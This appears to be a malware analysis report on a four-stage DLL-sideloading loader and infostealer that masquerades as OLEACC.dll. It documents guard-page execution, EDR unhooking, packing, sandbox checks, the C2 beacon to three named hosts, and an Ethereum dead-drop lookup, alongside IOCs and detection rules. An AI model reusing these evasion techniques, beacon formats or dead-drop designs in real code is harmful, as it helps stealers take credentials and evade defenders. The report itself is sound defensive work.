0. Preface
This sample arrived in a folder named RemusStealer. Nothing in the chain calls itself that, and I found no internal marker that confirms the family — treat the name as a filing label, not an attribution. What the sample is, unambiguously, is a four-stage loader ending in an infostealer with screen-capture, hidden-desktop and browser-credential capability.
Two things make it worth the writeup. First, the loader’s entry mechanism: it does not call anything from its own export table. It arms guard pages over the host process’s own code and waits for the host to fault into a vectored exception handler. Second, the C2: three hardcoded hosts, and when all three fail it falls back to reading its next address out of an Ethereum smart contract.
The static work was done from the shell — radare2, objdump, capa, and hand-written decryptors in Python. The dynamic stage was a detonation in an isolated FLARE-VM with the network adapter removed entirely (--nic1 none), reverted to a clean snapshot afterwards; no packet ever left the box, and the C2 set was read out of WinHttpConnect arguments rather than off the wire.
C2, up front: puaglse.click:8954, shhsift.click:7647, zakuiru.shop:9048 over plain HTTP POST, with an Ethereum-mainnet dead-drop fallback at contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF.
1. The Threat at a Glance
| Attribute | Assessment |
|---|---|
| Malware type | DLL-sideloading loader → packed shellcode → infostealer |
| Delivery | Not recovered; the sample is the sideloaded DLL itself |
| Masquerade | Impersonates Microsoft OLEACC.dll (Active Accessibility), 28 genuine export names |
| C2 | puaglse.click:8954, shhsift.click:7647, zakuiru.shop:9048 (HTTP POST, x-www-form-urlencoded) |
| Fallback C2 | Ethereum dead drop — eth_call to 0x999941b74F6bbc921D5174A5b29911562cd2D7CF, selector 0xc2fb26a6 |
| Target | Windows x64; Roblox, Steam, browser cookies via DPAPI |
| Evasion | Guard-page/VEH execution, userland unhooking, fiber execution, ~4.3e9-iteration stall, API hashing, MBA obfuscation, direct syscalls, software-breakpoint checks |
| Attribution | Unconfirmed. Campaign tag dcf2d40b491fed66d221b13e6daea39c |
| Confidence | High — all four stages were recovered statically and each was confirmed byte-identical in memory |
2. Infection Chain Overview

3. Stage 0 - The OLEACC Shim
The file is a 281 KB PE32+ DLL built with MinGW/TDM-GCC 10.3.0, 11 sections, DYNAMIC_BASE and HIGH_ENTROPY_VA set. It imports from only two libraries — kernel32 and msvcrt — but the selection is the tell:
ConvertThreadToFiber / CreateFiber / SwitchToFiber fiber execution
AddVectoredExceptionHandler VEH
CreateToolhelp32Snapshot / Module32First / Module32Next
VirtualAlloc / VirtualProtect / VirtualQuery
CreateMemoryResourceNotification anti-emulation
The export table lists all 28 real OLEACC.dll symbols — DllRegisterServer, AccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject, and so on. Every single one resolves to the same address, and that address is a stub that does nothing:
0x1f2321dc3 push rbp
0x1f2321dc4 mov rbp, rsp
0x1f2321dc7 nop
0x1f2321dc8 pop rbp
0x1f2321dc9 ret
The exports exist only to satisfy a host process’s import table. This is the highest-fidelity static signal in the whole sample: a legitimate oleacc.dll never has 28 exports sharing one RVA.
.data is 237 KB at entropy 7.996 against a 30 KB .text — the code-to-payload ratio of a packer.
4. Stage 0 - Two Activation Paths
The real DllMain (RVA 0x1E87) reads gs:[0x60] to reach the PEB, follows ImageBaseAddress to the host executable’s PE headers, then branches on lpvReserved:
Path A — statically sideloaded (lpvReserved != 0, the DLL is in the host’s import table, so it loads before the host’s entry point runs). It patches the host EXE’s entry point. If the entry begins with 48 83 EC xx (sub rsp,imm8) it preserves that and writes 17 bytes at EP+4; otherwise it writes 13 bytes at EP+0:
48 83 C4 xx add rsp, xx ; undo the host's own prologue
49 BA <qword> movabs r10, payload
41 FF E2 jmp r10
Letting the original sub rsp,N execute and then immediately undoing it is a neat touch — the payload is entered with a balanced stack regardless.
Path B — dynamically loaded (lpvReserved == 0, e.g. LoadLibrary/rundll32). The entry point has already run, so instead it registers a VEH and flips every executable section of the host image to PAGE_READONLY | PAGE_GUARD (0x102). The next instruction the host executes raises STATUS_GUARD_PAGE_VIOLATION; the handler at RVA 0x1DCA catches 0x80000001, takes a mutex, runs the payload, and calls ExitProcess. The host never resumes.
Before the payload runs there is an anti-emulation gate at RVA 0x1E42:
h = CreateMemoryResourceNotification(0);
if ((int)h <= 0x27) return; // emulator returning a small fake handle
Sleep(800);
payload();
5. Stage 0 - Userland Unhooking
Before unpacking anything, the loader walks CreateToolhelp32Snapshot(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32). For every module whose name does not contain .exe, it opens the module’s own file on disk with fopen(szExePath,"rb"), reads it whole, and walks the in-memory export directory comparing each exported function against its clean on-disk bytes.
The detector looks for a leading E9/EA/EB/FF branch opcode, and specifically for:
4C 8B D1 mov r10, rcx
E9 <rel32> jmp <EDR handler> ; a syscall stub whose mov eax,<ssn> was replaced
When it finds one it computes the detour length (E9→5, EB→2, EA→7, FF 25→6), extends over any trailing 0xCC padding, then VirtualProtect(PAGE_EXECUTE_READWRITE) → memcpy the clean bytes → restore protection. That is a full userland unhook of every loaded DLL, executed before the payload touches anything.
6. Stage 1 - A Stall Loop and a Block XOR
The .data blob (file offset 0x7C20, 0x3A226 bytes) is copied into an RWX allocation and entered on a fiber rather than a thread — ConvertThreadToFiber / CreateFiber / SwitchToFiber — which keeps it off thread-creation telemetry.
It begins with a 15-byte NOP sled and two stacked stubs.
Stub A is pure anti-emulation. A call/pop to get its own address, then an inner loop:
33: add rax, rcx
36: add rcx, 1
3a: inc rax
3d: sub rax, rcx ; net effect on rax: zero
40: cmp rcx, rdi ; rdi = 0x00FFFFFF
43: jne 0x33
rax is mathematically unchanged by the body. The loop runs 0xFFFFFF times, wrapped in an outer loop of 254 — roughly 4.26 billion iterations that accomplish nothing except burning wall-clock. It then patches a single byte (0xFF → 0x90) so execution falls through the sled, and jumps. On real hardware this costs a few seconds; in an instrumented emulator it is fatal.
Stub B is the decoder. The payload is stored as repeating 33-byte blocks of [1 key byte][32 ciphertext bytes]; each block’s data is XORed with its own key byte and written back in place, compacting 33 bytes to 32. It stops on the dword 0xCF1DCF1D. 7,209 blocks yield 230,695 bytes of stage 2.
7. Stage 2 - The CHOC Container
Stage 2 is 230 KB of position-independent code that resolves every API by walking the PEB’s loader data — it has no import table at all.
Its strings are obfuscated with a scheme worth documenting. Each string is stored as every byte decremented by one, then permuted by a seeded Fisher–Yates shuffle:
def deobfuscate(raw, seed): # n = len(string) + 1, including the NUL
n = len(raw); a = [(b - 1) & 0xFF for b in raw]
for i in range(n):
j = ((seed ^ i) % (n - i)) + i
a[i], a[j] = a[j], a[i]
return bytes(a)
The length and the per-string seed are immediates at each call site (mov r8b, <seed> next to a movdqa xmm, [rip+…]), which is why every instance of the same string is scrambled differently — there are four separate copies of kernel32 in the table, all permuted differently. Recovering them gives LoadLibraryA, GetProcAddress, RtlFreeHeap, NtContinue, RaiseException, SysAllocString, SafeArrayGetElement, oleaut32, kernelbase — and the one that mattered, RtlDecompressBuffer.
Note for anyone running capa over stage 2: its three “RC4 PRGA” hits are false positives. The matched code is the Fisher–Yates swap loop, which is structurally near-identical to RC4’s. There is no RC4 in this sample.
At offset 0x17000 sits a container with the magic CHOC:
| Offset | Value | Meaning |
|---|---|---|
0x00 | CHOC | magic |
0x08 | 0x21527 | total container size |
0x0C | 0x66 | stream cipher key |
0x20 | 0x28 | data offset |
0x24 | 0x214FF | ciphertext length |
Two layers come off it. First a chained stream cipher:
out[i] = (out[i-1] + 0x66) XOR cipher[i] out[-1] = 0
That yields a 4-byte little-endian size header (0x00036E00 = 224,768) followed by an LZNT1 stream, handed to RtlDecompressBuffer. The result is a clean 224,768-byte PE.
Stage 2 also tests for MZ/PE\0\0 and for BSJB — the CLR metadata signature — so the same loader handles managed payloads. This one is native.
8. Stage 3 - The Payload
224 KB, PE32+, four sections, compiled 2026-08-23 14:08:27 UTC. Its import table is small but states the capability plainly:
| Area | APIs |
|---|---|
| Screen capture | BitBlt, GetDIBits, CreateCompatibleBitmap/DC, GetWindowDC, GetForegroundWindow, EnumDisplaySettingsW |
| Hidden desktop (HVNC) | CreateDesktopW, OpenDesktopW, CloseDesktop |
| WMI client | CoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, VariantCopy/Clear |
| Host recon | GetComputerNameA/ExA, GetUserNameA, GetKeyboardLayout(NameA) |
| Clipboard | GlobalLock, GlobalUnlock |
Everything else is hidden behind API hashing — 31 unique 32-bit hashes across 44 call sites, resolved by a routine at RVA 0x2C4A0. The hash function is custom; I tested ROR13-add, ROL5-XOR, djb2, djb2-XOR, sdbm, FNV-1/1a, CRC32, shift-add and mul31 against a large Windows API wordlist and none matched. The resolver itself is protected with mixed boolean-arithmetic obfuscation — constants are computed through chains of and/or/imul/xor — on top of jump-table control-flow flattening.
Static string recovery failed here too: stage 3 builds each string in its own decoder thunk, with a table of ~240 function pointers in .data. FLOSS’s emulation-based extraction was the tool that broke it, recovering 42 “tight” and 16 “decoded” strings:
https://ethereum-rpc.publicnode.com winhttp.dll crypt32.dll
%LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat
Applications/Roblox/Cookies.txt CookiesData
\REGISTRY\MACHINE\SOFTWARE\Valve\Steam steam.exe InstallPath
Content-Type: multipart/form-data; boundary=
Content-Disposition: form-data; name="file"; filename="
access_token= &debug= result Processes.txt
SeImpersonatePrivilege __COMPAT_LAYER=RunAsInvoker
powershell -exec bypass -f " rundll32 " \BaseNamedObjects\
honey@pot.com.pst MMXeVBoxreVMCGTCVMKV
dcf2d40b491fed66d221b13e6daea39c
The last two lines are the interesting ones. MMXeVBoxreVMCGTCVMKV is an interleaving of VirtualBox/VMware/QEMU markers, and honey@pot.com.pst is a classic sandbox-honeypot artifact check. dcf2d40b491fed66d221b13e6daea39c turns out to be the campaign tag sent to the C2.
9. Detonation
FLARE-VM on VirtualBox, adapter removed (--nic1 none), reverted to a clean snapshot after. cdb/WinDbg is not installed in this image and there was no network to fetch it, so the debugger was a ~240-line Win32 debugger written in Python ctypes and driven from the host over VBoxManage guestcontrol.
All three stages came out of memory byte-identical to the static extraction:
| Stage | SHA-256 | Static vs runtime |
|---|---|---|
| 1 | 5fea0d15…0267 | identical |
| 2 | c25ab2a4…a739 | identical |
| 3 | 6528d6a5…91a7 | identical |
Mechanism confirmations: the guard-page fault fired at an address inside rundll32’s own image; RtlDecompressBuffer was called with CompressionFormat = 0x102 (LZNT1 | ENGINE_MAXIMUM) and UncompressedBufferSize = 0x36E00; and stage 3 mapped at its preferred base 0x140000000, putting its hash resolver at 0x14002C4A0 — exactly base + 0x2C4A0.
The finding that cost the most time is worth stating plainly: stage 2 and 3’s software-breakpoint checks are real and they are fatal. With a single INT3 planted on ntdll!RtlDecompressBuffer, stage 3 was decompressed and then silently abandoned — never mapped, never executed. Memory-inspecting the stalled process showed the resolver signature sitting in an RW region at decompressed_base + 0x2B8A0, never made executable. Removing every software breakpoint and switching to hardware breakpoints only made stage 3 run immediately. If you debug this family, use bph/ba, never bp.
Hooking the resolver mapped 11 of the 31 hashes before the chain aborted:
| Hash | API | Hash | API |
|---|---|---|---|
0xEAACA47E | WinHttpOpen | 0x572A4BDC | WinHttpSetOption |
0xA171652D | WinHttpConnect | 0x2DC8CD09 | WinHttpSetTimeouts |
0xC6E59D46 | WinHttpOpenRequest | 0x14DB4EF0 | WinHttpCloseHandle |
0xB01B03F3 | WinHttpSendRequest | 0x4AD42D13 | WinHttpCrackUrl |
0xF4B5D456 | WinHttpAddRequestHeaders | 0x96C24357 | RtlAllocateHeap |
0x68D46563 | RtlFreeHeap |
The remaining 20 were never reached — every downstream capability is gated behind a successful C2 handshake.
10. C2 and the Ethereum Dead Drop
Reading the arguments to WinHttpConnect, WinHttpOpenRequest and WinHttpSendRequest recovers the full beacon without a single packet leaving the host. Three hardcoded hosts, five attempts each, in order:
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded
puaglse.click:8954 → shhsift.click:7647 → zakuiru.shop:9048
tag=dcf2d40b491fed66d221b13e6daea39c&exp=1787495487&hwid=<md5 of host>
tag is the campaign identifier — the same constant FLOSS pulled out of .rdata. exp decodes to 2026-08-23 14:31:27 UTC, 23 minutes after stage 3’s compile timestamp, so it is a build marker rather than an expiry. hwid is a per-host fingerprint.
When all fifteen attempts fail, it falls back to a dead drop on Ethereum mainnet:
POST https://ethereum-rpc.publicnode.com:443
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"eth_call",
"params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
"data":"0xc2fb26a6"},"latest"]}
A read-only eth_call against contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF with selector 0xc2fb26a6; the result field carries the current C2. This is the EtherHiding pattern, and it explains why no usable C2 string exists anywhere in the sample: the operator can rotate infrastructure by sending one transaction, there is nothing to sinkhole, and the lookup itself is indistinguishable from ordinary web3 traffic to a public RPC provider.
With no network the beacon failed, so the stealer logic never ran and nothing was dropped to disk. The process died with exit code 0x80000001 — an unhandled guard-page violation from the still-armed host sections.
11. Indicators of Compromise
Files
sample (oleacc.dll) ee765c4143bbb8dcbb83ca72004a93a16c3c1aecc6b5eccfc44296bea417060f
6d44dfce86576e2505e7c6bdce8d0f13 (MD5)
stage 1 shellcode 5fea0d15f24c896c0fb4acf5db6269ac99a711f5957b085997a17e13d4190267
stage 2 loader c25ab2a485e04c1f5b6c587515cc20d4278112db5c388968a5f4d189a81da739
stage 3 payload 6528d6a58d342ecb3abac79f6cd7d38ca28f67c6ae15c970600bf93ad55f91a7
Network
puaglse[.]click:8954 HTTP POST /
shhsift[.]click:7647 HTTP POST /
zakuiru[.]shop:9048 HTTP POST /
ethereum-rpc.publicnode.com dead-drop lookup (legitimate public RPC — do not block outright)
contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF
selector 0xc2fb26a6
body tag=<md5>&exp=<unix>&hwid=<md5>
Host / static markers
Campaign tag: dcf2d40b491fed66d221b13e6daea39c
Build markers: J2-1078722850, J2-1096175631
Container magic: "CHOC" at .data offset 0x17000
Stage-1 terminator: CF1DCF1D
Stage-2 stream key: 0x66 (out[i] = (out[i-1]+0x66) ^ cipher[i])
Hooked-syscall probe: 4C 8B D1 E9
Guard-page constant: 0x102 applied to the host image's executable sections
Anti-analysis strings: honey@pot.com.pst, MMXeVBoxreVMCGTCVMKV
28 OLEACC exports sharing a single RVA
12. Detection Opportunities
- An
oleacc.dlloutside%SystemRoot%\System32, or one whose exports all share a single RVA — the strongest signal in the sample, and cheap to check statically. PAGE_GUARDapplied to the executable sections of the process’s own primary image, paired withAddVectoredExceptionHandler. Legitimate software essentially never does this.- A module opening its own on-disk file handle and then
VirtualProtect(PAGE_EXECUTE_READWRITE)over another module’s export bytes — the unhooking pattern. Worth a standing hunt regardless of family. ConvertThreadToFiber+CreateFiber+SwitchToFiberinto a freshlyVirtualAlloc’d RWX region — fiber execution as a thread-creation-telemetry bypass.RtlDecompressBufferwithCompressionFormat = 0x102on a buffer sourced from a private RWX allocation rather than from a file.- HTTP POST to a bare
/on a high non-standard port (8954/7647/9048) with a body of exactlytag=/exp=/hwid=. eth_callJSON-RPC from a non-browser process — selector0xc2fb26a6to the contract above. Alert on the contract, not on the RPC provider.- A process pegging a core for seconds inside a tight register-only loop immediately after a DLL load, with no syscalls — the stall loop.
13. MITRE ATT&CK Mapping
| Tactic | Technique |
|---|---|
| Execution | T1129 Shared Modules |
| Persistence / Priv-Esc | T1574.002 DLL Side-Loading; T1134 Access Token Manipulation (SeImpersonatePrivilege) |
| Defense Evasion | T1036.005 Masquerading: Match Legitimate Name; T1027 Obfuscated Files; T1027.002 Software Packing; T1027.007 Dynamic API Resolution; T1140 Deobfuscate/Decode; T1562.001 Impair Defenses (userland unhooking); T1620 Reflective Code Loading; T1497 Virtualization/Sandbox Evasion; T1622 Debugger Evasion |
| Discovery | T1057 Process Discovery; T1082 System Information Discovery; T1518.001 Security Software Discovery |
| Credential Access | T1555.003 Credentials from Web Browsers; T1539 Web Session Cookies |
| Collection | T1113 Screen Capture; T1115 Clipboard Data |
| Command and Control | T1071.001 Web Protocols; T1102.001 Dead Drop Resolver |
All four stages were recovered statically first and then confirmed byte-for-byte against process memory. The detonation ran in a FLARE-VM with its network adapter removed and was reverted to a clean snapshot afterwards — no request reached the live infrastructure, and the C2 set was read out of WinHttpConnect/WinHttpSendRequest arguments, not captured off the wire. The hwid value is host-specific and is deliberately not published.